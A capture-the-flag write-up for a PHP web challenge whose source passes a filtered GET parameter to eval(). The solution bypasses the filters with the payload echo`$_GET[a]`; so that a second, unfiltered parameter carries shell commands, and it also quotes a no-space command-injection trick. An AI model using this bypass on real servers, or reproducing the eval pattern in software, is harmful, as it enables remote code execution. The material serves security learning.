Problem :lock:

We got a php source with an exploitable eval() function at the end.

View PHP Source
<?php

$p = $_GET['p'];

if (!empty($p)) {
    $haha = '<center><h1>Banned Thanks!</h1><br><img style="height: 60%; width: 60%;" src="https://i.ibb.co/Hrq7tmM/haha.jpg"></center>';
    if(strlen($p) > 15)
        die($haha);
    if(preg_match('/\s/', $p)) 
        die($haha);
    if(preg_match('/[\'"]/', $p))
        die($haha);
    if(preg_match('/(sys|exec|file|pass)/i', $p)) 
        die($haha);
    
    eval(addslashes($p));
    
} else {
    highlight_file(__FILE__);
}

?>

Download source.php

Solution :key:

We have to get through the 4 filters:

The addslashes() at the end doesn’t really matter since it adds slashes to ', ", and NULLs, which are filtered already. So let’s google a bit, “command injection ctf no space”. From there I got a link to Command injection with no spaces, which explained that you can put stuff into a variable and then echo that var, like so:

CMD=$'\x20a\x20b\x20c';echo$CMD

So I tried to replicate this thing in my local machine, edited the code a bit so I can see which filter I fail to pass.

My modified source
<?php
// turn on errors
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$p = $_GET['p'];

if (!empty($p)) {
    if(strlen($p) > 15)
        die("too long");
    if(preg_match('/\s/', $p)) 
        die("no whitespace");
    if(preg_match('/[\'"]/', $p))
        die("no quote & dquote");
    if(preg_match('/(sys|exec|file|pass)/i', $p)) 
        die("banned keyword");
    
    echo "grats u passed, ur command is<br>";
    echo addslashes($p);
    echo "<br>";
    eval(addslashes($p));
    
} else {
    highlight_file(__FILE__);
}

?>

Download source_modified.php

So I tried a bunch of stuff then I got an idea, instead of trying to come up with a payload that matches all those filters, why not just “point” the $_GET['p'] variable to another var, another GET var. So let’s try this payload.

?p=echo`$_GET[a]`;&a=ls

I fired up a server on port 8088 to test this.

We can see that echo`$_GET[a]`; got through all the filters, and our $_GET['a'] var can be filled without worrying about any filters. So after a little wondering around, we got the flag.

Flag :checkered_flag:

UNITYCTF2020{Web_weeb_weebs_weaboo}